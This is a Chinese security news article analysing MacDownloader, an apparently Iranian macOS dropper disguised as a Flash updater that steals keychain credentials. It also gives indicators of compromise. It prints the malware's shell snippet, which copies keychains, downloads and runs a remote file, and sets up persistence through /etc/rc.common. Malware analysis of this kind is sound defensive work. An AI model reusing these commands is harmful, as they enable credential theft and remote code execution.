搜索

[3531] 2017-02-09_核武刚平病毒又起：伊朗针对MAC发布恶意软件MacDownloader

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-16
2017-02-09_核武刚平病毒又起：伊朗针对MAC发布恶意软件MacDownloader 核 武 刚 平 病 毒 又 起 ： 伊 朗 针 对 M A C 发 布 恶 意 软 件 M a c D o w n l o a d e r 原 创   E 安 全   E 安 全   2 0 1 7 - 0 2 - 0 9 E 安 全 2 月 9 日 讯   国 外 安 全 研 究 人 员 发 现 一 款 名 为 M a c D o w n l o a d e r 的 M a c   O S 恶 意 软 件 代 理 （ M a l w a r e   A g e n t ） ， 其 已 经 被 实 际 应 用 于 国 防 工 业 领 域 ， 另 有 报 道 称 有 人 利 用 其 攻 击 某 位 人 权 倡 导 者 。 有 趣 的 是 ， M a c D o w n l o a d e r 会 伪 装 为 A d o b e   F l a s h 安 装 工 具 以 及 B i t d e f e n d e r 恶 意 软 件 清 除 工 具 ， 并 借 此 提 取 系 统 信 息 以 及 M a c   O S   X 系 统 中 的 钥 匙 串 数 据 库 副 本 。 根 据 对 基 础 设 施 及 代 码 状 态 的 观 察 ， 安 全 研 究 人 员 认 为 这 些 事 件 代 表 着 攻 击 者 对 该 代 理 的 首 次 部 署 尝 试 ， 且 其 尚 不 具 备 持 久 性 等 其 它 特 性 。 相 反 ， M a c D o w n l o a d e r 作 为 一 种 简 单 的 筛 选 工 具 存 在 ， 且 拥 有 更 大 的 邪 恶 野 心 。 该 M a c   O S 恶 意 软 件 还 反 映 出 此 前 安 全 研 究 人 员 曾 经 研 究 过 的 E x t r e m d D o w n l o a d e r 方 案 的 特 征 ， 而 后 者 的 样 本 已 经 确 定 与 之 使 用 同 样 的 基 础 设 施 。 最 后 ， 通 过 对 受 害 者 数 据 及 代 码 引 用 进 行 测 试 ， 安 全 研 究 人 员 发 现 该 恶 意 软 件 采 取 一 种 独 特 的 开 发 方 式 ， 即 潜 在 接 入 由 该 黑 客 组 织 此 前 开 发 完 成 的 其 它 代 理 当 中 。 由 于 此 前 已 经 在 美 国 黑 帽 大 会 （ B l a c k   H a t   U S A ） 上 发 布 了 关 于 国 家 支 持 型 间 谍 活 动 的 卡 内 基 基 金 会 技 术 预 览 版 ， 因 此 安 全 研 究 人 员 一 直 在 不 断 披 露 与 伊 朗 相 关 的 当 前 恶 意 活 动 ， 同 时 提 供 各 类 入 侵 检 测 指 标 。 虽 然 此 次 发 现 的 代 理 既 不 复 杂 亦 不 具 备 完 整 的 功 能 ， 但 其 突 然 出 现 在 苹 果 计 算 机 社 区 之 内 ， 提 醒 用 户 以 往 对 此 类 设 备 的 安 全 认 知 其 实 并 不 确 切 。 背 景 背 景 安 全 研 究 人 员 从 2 0 1 6 年 起 一 直 在 记 录 伊 朗 相 关 恶 意 软 件 代 理 的 变 化 情 况 — — 事 实 上 ， 此 前 的 恶 意 软 件 代 理 往 往 针 对 于 从 W i n d o w s 及 A n d r o i d 设 备 处 提 取 文 件 与 键 盘 输 入 记 录 。 尽 管 W i n d o w s 仍 是 世 界 上 使 用 范 围 最 广 的 操 作 系 统 ， 但 亦 有 不 少 行 业 开 始 转 而 选 择 M a c   O S 以 享 受 其 安 全 性 与 稳 定 性 优 势 。 然 而 ， M a c   O S 用 户 群 体 的 扩 张 虽 然 逃 过 了 不 少 针 对 W i n d o w s 的 攻 击 者 并 能 够 发 挥 其 远 程 访 问 工 具 较 少 的 优 势 ， 但 却 并 不 代 表 M a c   O S 的 内 置 防 御 机 制 真 的 更 为 出 色 。 因 此 ， M a c   O S 用 户 同 样 面 临 着 相 当 严 峻 的 恶 意 软 件 攻 击 风 险 ， 甚 至 可 能 由 于 对 安 全 性 的 忽 略 而 身 陷 更 危 险 的 境 地 。 事 实 上 ， 相 当 一 部 分 人 权 团 体 ， 特 别 是 专 注 于 伊 朗 问 题 的 组 织 ， 据 称 高 度 依 赖 于 苹 果 相 关 设 备 。
事 故 与 影 响 事 故 与 影 响 最 初 被 观 察 到 的 M a c D o w n l o a d e r 代 理 活 动 在 于 伪 造 美 国 联 合 技 术 公 司 （ 是 全 球 多 元 化 制 造 企 业 之 一 ， 主 要 为 全 球 航 空 航 天 和 建 筑 业 提 供 高 科 技 产 品 和 服 务 ） 的 网 站 ， 此 网 站 据 悉 由 伊 朗 攻 击 者 负 责 维 护 并 用 以 传 播 W i n d o w s 恶 意 软 件 。 其 页 面 显 示 提 供 “ 特 别 项 目 与 课 程 ” ， 且 提 到 洛 克 希 德 · 马 丁 公 司 、 内 华 达 公 司 、 雷 声 公 司 以 及 波 音 公 司 的 员 工 及 实 习 生 皆 有 参 与 相 关 课 程 。 各 公 司 的 对 应 链 接 也 同 样 被 该 黑 客 组 织 设 计 为 恶 意 软 件 传 播 载 体 。 其 用 于 传 播 恶 意 软 件 的 主 机 此 前 还 曾 被 用 作 在 某 个 牙 医 诊 所 以 及 美 国 空 军 基 本 训 练 网 页 等 子 域 名 中 部 署 B e E F 框 架 （ 全 称 T h e   B r o w s e r   E x p l o i t a t i o n   F r a m e w o r k , 是 一 款 针 对 浏 览 器 的 渗 透 测 试 工 具 ， B e E F 使 用 浏 览 器 漏 洞 来 获 得 目 标 机 器 的 控 制 权 ） 。
在 下 载 之 后 ， 该 代 理 会 显 示 一 条 法 语 警 告 ， 提 示 本 地 视 频 播 放 器 中 的 “ 插 件 存 在 安 全 漏 洞 ” ， 同 时 向 访 问 者 提 供 七 条 A d o b e   F l a s h 链 接 。 根 据 安 全 研 究 人 员 的 观 点 ， M a c D o w n l o a d e r 的 初 次 传 播 尝 试 会 直 接 告 知 对 方 其 属 于 恶 意 软 件 。 根 据 操 作 系 统 检 测 ， 其 会 为 目 标 提 供 W i n d o w s 或 者 M a c 版 本 恶 意 软 件 ， 其 中 W i n d o w s 客 户 端 提 供 一 款 由 G o 语 言 编 写 的 涓 滴 工 具 （ 也 可 称 为 病 毒 释 放 器 ） 。 M a c D o w n l o a d e r 样 本 包 中 的 名 称 亦 进 一 步 证 明 了 其 来 源 确 实 为 伊 朗 — — “ a d d o n e   f l a s h p l a y e r . a p p ” 这 一 表 达 证 明 该 文 件 的 命 名 方 式 基 于 波 斯 语 语 法 。 而 恶 意 活 动 中 的 其 它 一 些 持 续 性 基 础 设 施 与 趋 势 走 向 亦 表 明 ， 该 C h a r m i n g   K i t e e n 恶 意 组 织 应 该 来 自 伊 朗 且 与 伊 朗 安 全 部 门 有 所 关 联 。
M A C D O W N L O A D E R 该 恶 意 软 件 在 攻 击 当 中 使 用 的 是 一 款 名 为 M a c D o w n l o a d e r 的 M a c   O S 特 定 涓 滴 恶 意 工 具 （ 一 个 6 4 位 M a c 二 进 制 文 件 ） ， 且 基 于 来 自 被 嵌 入 至 该 二 进 制 文 件 内 开 发 环 境 的 字 符 串 。 M a c D o w n l o a d e r 创 建 于 2 0 1 6 年 年 末 ， 且 开 发 水 平 似 乎 不 高 ， 这 可 能 是 业 余 开 发 者 第 一 次 尝 试 编 写 此 类 恶 意 工 具 。 在 多 数 情 况 下 ， 其 使 用 的 代 码 都 直 接 复 制 自 其 它 项 目 。 另 外 ， M a c D o w n l o a d e r 的 主 要 目 标 似 乎 是 对 受 感 染 系 统 执 行 初 步 分 析 ， 同 时 从 M a c O S 的 钥 匙 串 密 码 管 理 器 中 收 集 凭 证 — — 这 与 由 同 一 黑 客 组 织 开 发 的 W i n d o w s 恶 意 软 件 如 出 一 辙 。 截 至 撰 稿 时 ， M a c D o w n l o a d e r 似 乎 还 完 全 未 被 V i r u s T o t a l 上 的 病 毒 扫 描 引 擎 所 发 现 ， 这 意 味 着 其 很 难 被 消 费 级 杀 毒 软 件 检 测 到 。
M a c D o w n l o a d e r 会 在 执 行 时 显 示 伪 造 的 A d o b e   F l a s h   P l a y e r 对 话 框 ， 其 提 示 受 害 者 点 击 其 中 的 “ 更 新 F l a s h - P l a y e r ” 按 钮 。 有 趣 的 是 ， 点 击 “ 关 闭 ” 按 钮 确 实 能 够 退 出 该 应 用 。 在 受 害 者 成 功 点 击 更 新 按 钮 后 ， 其 还 会 显 示 后 续 伪 造 对 话 框 ， 宣 称 其 发 现 计 算 机 上 存 在 恶 意 软 件 ， 且 该 应 用 正 在 对 其 进 行 清 理 。 这 套 对 话 框 的 设 置 其 实 令 有 些 意 外 与 困 惑 ， 特 别 是 考 虑 到 M a c D o w n l o a d e r 本 身 给 出 的 理 由 是 更 新 F l a s h   P l a y e r ， 而 非 更 新 杀 毒 软 件 。 不 过 这 种 不 协 调 感 很 快 就 有 了 答 案 ， 因 为 安 全 研 究 人 员 注 意 到 该 恶 意 软 件 的 资 源 中 存 在 一 个 N I B 文 件 （ 用 于 为 M a c 应 用 存 储 用 户 界 面 设 计 ） ， 其 在 目 前 的 版 本 中 似 乎 并 未 被 用 到 。 这 些 对 话 内 容 中 也 充 斥 着 基 本 的 拼 写 与 语 法 错 误 ， 这 表 明 开 发 者 并 不 重 视 质 量 控 制 。 安 全 研 究 人 员 认 为 M a c D o w n l o a d e r 最 初 是 被 设 计 为 一 款 伪 造 的 病 毒 清 除 工 具 ， 但 随 后 为 了 适 应 特 定 的 社 交 工 程 类 尝 试 ， 其 被 重 新 打 包 在 一 款 伪 造 的 F l a s h   P l a y e r 更 新 工 具 。
该 恶 意 软 件 从 嵌 入 的 R e s o u r c e s 文 件 夹 中 读 取 “ c h e c k a d r . t x t ” 文 件 ， 其 中 包 含 作 为 第 一 条 信 标 的 U R L ： h t t p : / / 4 6 { . } 1 7 . 9 7 . 3 7 / S e r v e r m a c . p h p 本 样 本 中 使 用 的 命 令 与 控 制 服 务 器 已 经 于 两 周 前 被 第 三 方 关 闭 。 另 一 资 源 “ e u l a - h e l p . t x t ” 似 乎 提 供 了 一 条 内 部 开 发 服 务 器 地 址 ， 这 反 映 出 开 发 者 是 希 望 将 M a c D o w n l o a d e r 作 为 简 单 的 涓 滴 工 具 。 h t t p : / / 1 9 2 { . } 1 6 8 . 3 . 2 1 7 / D r o p e r T e s t 另 外 ， 另 一 名 为 “ a p p I d . t x t ” 的 文 件 似 乎 作 为 该 代 理 执 行 活 动 的 惟 一 标 识 符 。 其 被 标 记 为 将 提 取 自 主 机 的 数 据 发 送 至 命 令 与 控 制 服 务 器 。 在 安
全 研 究 人 员 检 测 的 样 本 中 以 及 观 察 到 测 试 流 程 中 ， 其 被 设 置 为 “ s n c ” — — 此 分 配 给 受 害 者 的 标 识 符 与 该 黑 客 组 织 C h a r m i n g   K i t e e n 此 前 的 其 它 钓 鱼 活 动 恰 好 吻 合 。 看 起 来 ， 该 应 用 还 包 含 一 条 未 被 使 用 的 受 害 者 主 机 持 久 访 问 安 装 尝 试 。 在 代 码 中 ， 一 段 质 量 低 下 的 代 码 片 断 用 于 利 用 s h e l l 脚 本 保 存 来 自 命 令 与 控 制 服 务 器 的 响 应 ， 并 通 过 在 / e t c / r c . c o m m o n 文 件 内 写 入 条 目 以 将 其 标 记 为 永 久 。 从 理 论 角 度 讲 ， 每 当 受 感 染 计 算 机 重 新 启 动 ， 该 s h e l l 脚 本 都 将 启 动 并 从 某 个 远 程 位 置 下 载 文 件 ， 并 将 其 与 此 前 迭 代 进 行 差 异 比 较 ， 并 在 存 在 差 异 时 执 行 较 新 版 本 。 不 过 即 使 是 在 服 务 器 被 关 停 之 前 ， 安 全 研 究 人 员 也 没 能 得 到 正 确 的 服 务 器 响 应 。 在 测 试 当 中 ， 这 条 代 码 似 乎 并 未 被 执 行 ， 相 反 指 向 远 程 服 务 器 的 调 用 实 际 是 通 过 苹 果 C o r e S e r v i c e s 框 架 实 现 的 。 另 外 ， 安 全 研 究 人 员 发 现 指 向 端 点 以 触 发 P H P 错 误 的 任 务 是 由 并 未 附 加 任 何 参 数 的 G E T 请 求 完 成 的 ， 而 并 未 采 取 植 入 机 制 。 因 此 ， 安 全 研 究 人 员 发 现 没 有 直 接 证 据 表 明 M a c D o w n l o a d e r 拥 有 永 久 性 ， 只 能 说 其 在 开 发 时 考 虑 过 加 入 远 程 更 新 与 持 久 性 功 能 。 d o   s h e l l   s c r i p t   " u n a m e   - a   >   / e t c / c h e c k d r i v e . c h k " z i p   - r j   / e t c / k c b a c k u p . c f g   / L i b r a r y / K e y c h a i n s / e c h o   " # ! / b i n / b a s h c u r l   - o   / t m p / m a s t e r i n g - v i m . p d f   % @ m d 5   / t m p / m a s t e r i n g - v i m . p d f   |   g r e p   v i m   |   c u t   - d -   - f   2   >   / e t c / n e w f _ m d 5 . m d 5   i f   c m p   / e t c / n e w f _ m d 5 . m d 5   / e t c / o l d _ m d 5 . m d 5 t h e n         # e c h o   e q u a l         c p   / e t c / n e w f _ m d 5 . m d 5   / e t c / o l d f _ m d 5 . m d 5         c h m o d   + x   / t m p / m a s t e r i n g - v i m . p d f         / t m p / m a s t e r i n g - v i m . p d f f i   "   >   / e t c / . c h e c k d e v   & &   i f   c a t   / e t c / r c . c o m m o n   |   g r e p   . c h e c k d e v ;   t h e n   s l e e p   1 ;   e l s e   e c h o   " s l e e p   % d   & &   / e t c / . c h e c k d e v   & "   > >   / e t c / r c . c o m m o n ;   f i   & & c h m o d   + x   / e t c / . c h e c k d e v   & &   / e t c / . c h e c k d e v   w i t h   a d m i n i s t r a t o r   p r i v i l e g e s 与 此 同 时 ， M a c D o w n l o a d e r 会 从 受 感 染 系 统 中 收 集 信 息 ， 具 体 包 括 用 户 的 活 动 钥 匙 串 ， 并 随 后 将 其 上 传 至 命 令 与 控 制 服 务 器 。 此 涓 滴 工 具 还 会 记 录 运 行 进 程 、 已 安 装 应 用 程 序 并 通 过 伪 造 的 系 统 偏 好 对 话 框 获 取 用 户 名 与 密 码 。 在 拥 有 了 用 户 凭 证 后 ， 攻 击 者 随 后 即 可 访 问 存 储 在 钥 匙 串 数 据 库 内 的 加 密 密 码 。 尽 管 C h r o m e 与 火 狐 浏 览 器 并 不 会 在 钥 匙 串 内 存 储 凭 证 ， 但 S a f a r i 以 及 M a c O S 系 统 服 务 确 实 会 借 此 存 储 网 站 、 远 程 文 件 系 统 、 加 密 驱 动 器 以 及 其 它 关 键 性 资 源 的 密 码 。 可 以 看 到 ， 伊 朗 各 类 定 制 化 恶 意 软 件 的 一 大 共 性 在 于 专 注 检 索 已 存 储 密 码 并 通 过 键 盘 记 录 器 收 集 在 线 服 务 的 密 码 内 容 。 利 用 这 些 密 码 ， 攻 击 者 随 后 即 可 访 问 受 害 者 的 邮 件 、 云 文 件 以 及 社 交 网 络 活 动 并 进 行 备 份 。 该 黑 客 组 织 此 前 使 用 的 W i n d o w s 代 理 同 样 采 取 这 一 模 式 — — 在 感 染 后 从 火 狐 及 C h r o m e 的 已 保 存 密 码 及 浏 览 历 史 记 录 中 收 集 信 息 。 预 计 这 些 特 性 将 在
M a c D o w n l o a d e r 的 后 续 版 本 中 一 一 出 现 。 所 有 收 集 到 的 信 息 随 后 都 会 在 提 交 后 被 编 译 并 存 储 在 / t m p / a p p l i s t . t x t 文 件 当 中 ， 而 非 直 接 移 除 ： [     " O S   v e r s i o n : [ U N A M E   O U T P U T ] " ,     " R o o t   U s e r n a m e :   " [ U S E R ] " " ,     " R o o t   P a s s w o r d :   " [ P A S S W O R D ] " " ,     " K e y c h a i n s   l o a d e d   i n   c u r r e n t   u s e r   " ,     " L o c a l   i p   a d d r e s s :   [ I P   A D D R E S S ] " ,     " I f c o n f i g :   [ I F C O N F I G   O U T P U T ] " ,     [         [ C O N T E N T   O F   / A p p l i c a t i o n s ]     ] ,     [         . . . .         " p r o c e s s   n a m e   i s :   B i t d e f e n d e r   A d w a r e   R e m o v a l   T o o l t   P I D :   1 7 5 5 0     R u n   f r o m : f i l e : / / / U s e r s / u s e r / D e s k t o p / a d d o n e % 2 0 f l a s h p l a y e r . a p p / C o n t e n t s / M a c O S / B i t d e f e n d e r % 2 0 A d w a r e % 2 0 R e m o v a l % 2 0 T o o l "     ] ] 一 旦 执 行 完 毕 ， M a c D o w n l o a d e r 就 会 顺 利 显 示 对 话 框 ， 通 知 F l a s h   P l a y e r 的 更 新 已 经 完 成 。 不 用 说 ， 实 际 上 其 并 没 有 进 行 任 何 F l a s h   P l a y e r 安 装 或 者 更 新 。 起 源 与 发 展 起 源 与 发 展 在 该 应 用 的 元 数 据 （ I n f o . p l i s t ） 当 中 ， M a c D o w n l o a d e r 包 含 有 一 些 不 寻 常 的 引 用 ， 这 也 成 为 我 们 了 解 其 发 展 历 程 的 线 索 。 其 中 “ B u n d l e i d e n t i f i e r ” 属 性 被 设 定 为 “ z e n d e r o d . B i t d e f e n d e r - A d w a r e - R e m o v a l - T o o l ” ， 这 代 表 该 代 理 的 次 要 伪 造 对 象 为 B i t d e f e n d e r 。 在 标 准 软 件 开 发 实 践 当 中 ， 该 字 符 串 的 第 一 部 分 应 被 设 定 为 原 始 开 发 者 的 姓 名 或 者 公 司 名 称 ， 这 里 其 被 设 定 为 “ z e n d e r o d ” 。 Z e n d e r o d 代 表 的 当 然 是 Z a y a n d e h   R o o d ， 这 是 一 条 流 经 伊 朗 伊 斯 法 罕 的 著 名 河 流 。 奇 怪 的 是 ， 这 一 词 汇 的 音 译 也 符 合 N o v i n   P a r d a z   Z e n d e r o d 域 名 （ z e n d e r o d . i r ， 目 前 指 向 n p z r . i r ） ， 这 是 一 家 位 于 伊 斯 法 罕 的 软 件 与 托 管 厂 商 。 尽 管 该 站 点 未 提 供 任 何 与 M a c   O S 软 件 开 相 关 的 专 业 知 识 ， 但 从 应 用 本 身 的 质 量 来 看 ， 开 发 者 只 要 具 备 一 定 s h e l l 脚 本 使 用 能 力 即 可 实 现 。 安 全 研 究 人 员 与 N o v i n   P a r d a z   Z e n d e r o d 公 司 的 一 位 行 政 人 员 取 得 了 联 系 ， 而 对 方 表 示 其 从 未 开 发 过 M a c O S 软 件 或 者 其 它 相 关 恶 意 软 件 。 另 外 ， 其 “ R e a d a b l e   C o p y r i g h t ” 属 性 在 A b o u t 对 话 中 显 示 的 可 用 版 权 信 息 被 设 定 为 “ C o p y r i g h t   ©   2 0 1 5   M a m e d o f .   A l l   r i g h t s   r e s e r v e d ” 。 这 一 已 经 过
期 的 版 权 声 明 表 示 开 发 者 可 能 从 其 它 项 目 中 直 接 复 制 了 模 板 。 我 们 找 不 到 包 含 此 版 权 名 称 的 应 用 ， 这 表 明 其 可 能 源 自 某 个 并 不 知 名 的 应 用 或 者 属 于 同 一 开 发 者 的 此 前 开 发 成 果 。 在 二 进 制 文 件 中 ， 安 全 研 究 人 员 发 现 了 一 组 字 符 串 ， 其 在 由 X C o d e 嵌 入 的 文 件 系 统 路 径 中 显 示 了 M a c D o w n l o a d e r 的 开 发 者 用 户 名 。 这 些 字 符 串 显 示 ， 该 开 发 者 的 名 为 S h a y a n ， 且 其 中 亦 包 含 此 前 提 到 的 项 目 名 称 。 / U s e r s / s h a y a n / D e s k t o p / M a c D o w n l o a d e r / M y A p p 3 / / U s e r s / s h a y a n / L i b r a r y / D e v e l o p e r / X c o d e / D e r i v e d D a t a / A d w a r e _ R e m o v a l _ T o o l - f r n n u q j z a j n l l q g z a k k s l s o v d h a g / B u i l d / I n t e r m e d i a t e s / A d w a r e   R e m o v a l T o o l . b u i l d / D e b u g / A d w a r e   R e m o v a l   T o o l . b u i l d / O b j e c t s - n o r m a l / x 8 6 _ 6 4 / A p p D e l e g a t e . o 值 得 注 意 的 是 ， 在 对 该 恶 意 代 理 进 行 测 试 的 过 程 中 ， 该 恶 意 软 件 的 操 作 者 之 一 似 乎 感 染 了 一 台 M a c B o o k   P r o 。 为 了 实 现 这 一 目 标 ， 该 恶 意 软 件 代 理 向 命 令 与 控 制 服 务 器 上 传 了 与 该 设 备 相 关 的 系 统 詯 怀 O S   X 钥 匙 串 数 据 库 ， 其 用 户 为 “ U l t r o n e ” 而 密 码 为 “ s a e e d ” — — 这 大 概 代 表 另 一 个 名 字 。 通 过 解 析 ， 已 上 传 的 钥 匙 串 提 供 了 另 一 些 社 交 关 系 线 索 以 及 攻 击 者 用 于 获 取 V P N 凭 证 与 W i f i 网 络 记 录 的 战 术 。 另 外 需 要 强 调 的 是 ， 其 中 的 无 线 网 络 名 为 J o k 3 r 与 m b _ 1 9 8 6 。 J o k 3 r 对 应 的 是 伊 朗 网 络 安 全 小 组 （ I r a n   C y b e r   S e c u r i t y   G r o u p ） 中 的 一 名 成 员 ， 其 在 网 站 攻 击 领 域 表 现 得 相 当 活 跃 。 而 伊 朗 网 络 安 全 小 组 其 后 与 其 它 众 多 网 站 攻 击 组 织 被 证 实 为 政 府 方 面 收 编 ， 旨 在 为 伊 朗 提 供 商 业 安 全 服 务 与 渗 透 测 试 培 训 。 而 “ m b _ 1 9 8 6 ” 这 一 无 线 网 络 名 称 更 有 意 思 ， 因 为 其 与 此 前 由 F l y i n g   K i t t e n 恶 意 组 织 于 2 0 1 4 年 夏 季 发 起 的 恶 意 活 动 有 所 关 联 。 此 恶 意 软 件 代 理 的 早 期 样 本 被 称 为 “ S a y a d ” ， 而 嵌 入 于 该 恶 意 软 件 中 的 多 条 资 源 路 径 显 示 其 通 过 W i n d o w s 环 境 开 发 完 成 ， 而 对 应 用 户 名 正 是 “ m b _ 1 9 8 6 ” 。 ( 具 体 路 径 为   c : U s e r s m b _ 1 9 8 6 D e s k t o p P r o j e c t s T i n y _ s t B l a c k B e r r y o b j D e b u g M S S U P . p d b ) 。 此 用 户 名 还 曾 出 现 在 此 前 一 台 名 为 “ B O R H A N ” 的 伊 朗 计 算 机 的 系 统 日 志 当 中 ， 其 曾 在 2 0 1 3 年 1 2 月 到 2 0 1 4 年 2 月 期 间 多 次 被 S t e a l e r 恶 意 软 件 所 入 侵 。 B O R H A N 中 包 含 大 量 专 业 软 件 开 发 工 具 ， 这 反 映 出 攻
击 者 们 的 管 理 与 开 发 偏 好 （ S u b v e r s i o n 、 V M W a r e   v S p h e r e 以 及 微 软 V i s u a l   S t u d i o ） 。 这 些 重 复 出 现 且 周 期 较 短 的 入 侵 活 动 表 明 ， 该 主 机 属 于 S t e a l e r 家 族 中 的 一 名 开 发 者 ， 且 他 们 在 藏 红 花 行 动 （ O p e r a t i o n   S a f f r o n   R o s e ） 后 进 一 步 将 该 平 台 开 发 为 M i n i S a y a d ， 并 与 M a c D o w n l o a d e r 操 作 者 存 在 社 交 往 来 。 入 侵 判 断 指 标 入 侵 判 断 指 标 文 件 名 及 对 应 的 文 件 名 及 对 应 的 H A S H a d d o n e   f l a s h p l a y e r . a p p . z i p 5 2 e f c f e 3 0 f 9 6 a 8 5 c 9 c 0 6 8 8 8 0 c 2 0 6 6 3 d b 6 4 f 0 e 0 8 3 4 6 e 0 f 3 b 5 9 c 2 e 5 b b c b 4 1 b a 7 3 c B i t d e f e n d e r   A d w a r e   R e m o v a l   T o o l 7 a 9 c d b 9 d 6 0 8 b 8 8 b d 7 a f c e 0 0 1 c b 2 8 5 c 2 b b 2 a e 7 6 f 5 0 2 7 9 7 7 e 8 6 3 5 a a 0 4 b d 0 6 4 f f b 7 网 络 地 址 网 络 地 址 4 6 { . } 1 7 . 9 7 . 3 7 o f f i c i a l s w e b s i t e s { . } i n f o u t c . o f f i c i a l s w e b s i t e s { . } i n f o E 安 全 注 ： 本 文 系 本 文 系 E 安 全 独 家 编 译 报 道 ， 转 载 请 联 系 授 权 ， 并 保 留 出 处 与 链 接 ， 不 得 删 减 内 容 。 安 全 独 家 编 译 报 道 ， 转 载 请 联 系 授 权 ， 并 保 留 出 处 与 链 接 ， 不 得 删 减 内 容 。 联 系 方 式 ： ①   微 信 号 z h u - g e l i a n g   ② 邮 箱 e a p p @ e a s y a q . c o m @ E 安 全 ， 最 专 业 的 前 沿 网 络 安 全 媒 体 和 产 业 服 务 平 台 ， 每 日 提 供 优 质 全 球 网 络 安 全 资 讯 与 深 度 思 考 ， 欢 迎 关 注 微 信 公 众 号 「 E 安 全 」 （ E A Q a p p ） ， 或 登 E 安 全 门 户 网 站 w w w . e a s y a q . c o m   ,   查 看 更 多 精 彩 内 容 。 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理